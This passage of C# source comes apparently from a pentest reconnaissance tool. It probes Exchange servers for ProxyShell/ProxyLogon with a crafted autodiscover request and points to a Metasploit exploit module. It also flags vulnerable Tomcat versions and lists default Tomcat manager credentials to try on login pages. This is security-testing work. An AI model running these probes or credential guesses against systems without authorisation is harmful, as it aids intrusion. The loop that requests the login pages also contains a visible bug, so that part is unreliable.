// There's a low chance that it will return a StatusCode that is not in the HttpStatusCode list in which case (int)StatusCode will crash
if (StatusCode == HttpStatusCode.MovedPermanently)
{
if (Headers != null && Headers.Location != null)
{
toReturn += "- Moved Permanently" + Environment.NewLine;
toReturn += "-> Location: " + Headers.Location + Environment.NewLine;
Headers.Remove("Location");
}
}
else if (StatusCode == HttpStatusCode.Redirect)
{
if (Headers != null && Headers.Location != null)
{
toReturn += "- Redirect" + Environment.NewLine;
toReturn += "-> Location: " + Headers.Location + Environment.NewLine;
// ProxyShell / ProxyLogin
// CVE-2021-26855
if (Headers.Location.ToString().Contains("/owa/"))
{
// msmailprobe.go
// This vulnerability affects
// Exchange 2013 CU23 < 15.0.1497.15,
// Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
// Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.
// Sample /owa/ - intext: url("/owa/auth/15.2.858/
// https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_proxyshell_rce.rb
var proxyShellInfo = Web.GetHTTPInfo(URL.Trim('/') + "/autodiscover/[email protected]/owa/?&Email=autodiscover/autodiscover.json%[email protected]");
if (proxyShellInfo.StatusCode == HttpStatusCode.Redirect)
{
toReturn += "--> Possible Proxyshell / ProxyLogin!" + Environment.NewLine;
toReturn += "---> If you have an e-mail address, try: metasploit exploit/windows/http/exchange_proxyshell_rce" + Environment.NewLine;
}
else
{
Console.WriteLine("Nope - " + (int)proxyShellInfo.StatusCode);
}
}
Headers.Remove("Location");
}
}
else if (StatusCode == HttpStatusCode.NotFound)
{
toReturn += "- Base page is a 404" + Environment.NewLine;
}
else if (StatusCode == HttpStatusCode.Forbidden)
{
toReturn += "- Base page is Forbidden" + Environment.NewLine;
}
else if (StatusCode != HttpStatusCode.OK)
{
try
{
toReturn += "- Weird Status Code: " + (int)StatusCode + " " + StatusCode + Environment.NewLine;
}
catch
{
toReturn += "- Fatally Unknown Status Code: " + " " + StatusCode + Environment.NewLine;
}
if (Headers != null && Headers.Location != null)
{
toReturn += "-> Location: " + Headers.Location + Environment.NewLine;
Headers.Remove("Location");
}
}
}
// Page Title
if (!string.IsNullOrEmpty(PageTitle))
{
PageTitle = PageTitle.Trim();
toReturn += "- Page Title: " + PageTitle + Environment.NewLine;
// Apache Tomcat
if (PageTitle.StartsWith("Apache Tomcat"))
{
// Sanitize URL
if (!URL.EndsWith("/"))
{
URL += "/";
}
// CVE's
// https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0232
/*
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
*/
// https://nvd.nist.gov/vuln/detail/CVE-2017-7675
// In Apache Tomcat 9.0.0.M1 to 9.0.0.M21 and 8.5.0 to 8.5.15
if (PageTitle == "Apache Tomcat/9.0.17")
{
toReturn += "- " + "Apache Tomcat 9.0.17 Detected - Vulnerable to CVE-2019-0232!".Recolor(Color.Orange);
}
// Apache Tomcat Page
List<NetworkCredential> defaultTomcatCreds =
[
new("tomcat", "s3cret"),
new("tomcat", "tomcat"),
new("manager", "manager"),
new("manager", "tomcat"),
new("admin", ""),
];
List<string> tomcatLoginPages = new List<string>();
string managerStatusURL = URL + "manager/status,Manager (Status)"; // Manager (Status)
tomcatLoginPages.Add(managerStatusURL);
string managerAppHTMLURL = URL + "manager/html,Manager App (HTML)"; // Manager App (HTML)
tomcatLoginPages.Add(managerAppHTMLURL);
string managerAppTextURL = URL + "manager/text,Manager App (Text)"; // Manager App (Text)
tomcatLoginPages.Add(managerAppTextURL);
string hostManagerURL = URL + "host-manager/html,Host Manager (HTML)"; // Host Manager (HTML)
tomcatLoginPages.Add(hostManagerURL);
foreach (string tomcatLoginPage in tomcatLoginPages)
{
string loginPage = tomcatLoginPage.Split(',')[0];
string friendlyName = tomcatLoginPage.Split(',')[1];
var pageInfo = Web.GetHTTPInfo(tomcatLoginPage);
if (pageInfo.StatusCode == HttpStatusCode.Unauthorized)
{
toReturn += $"- {friendlyName} - But it requires credentials --> {loginPage}" + Environment.NewLine;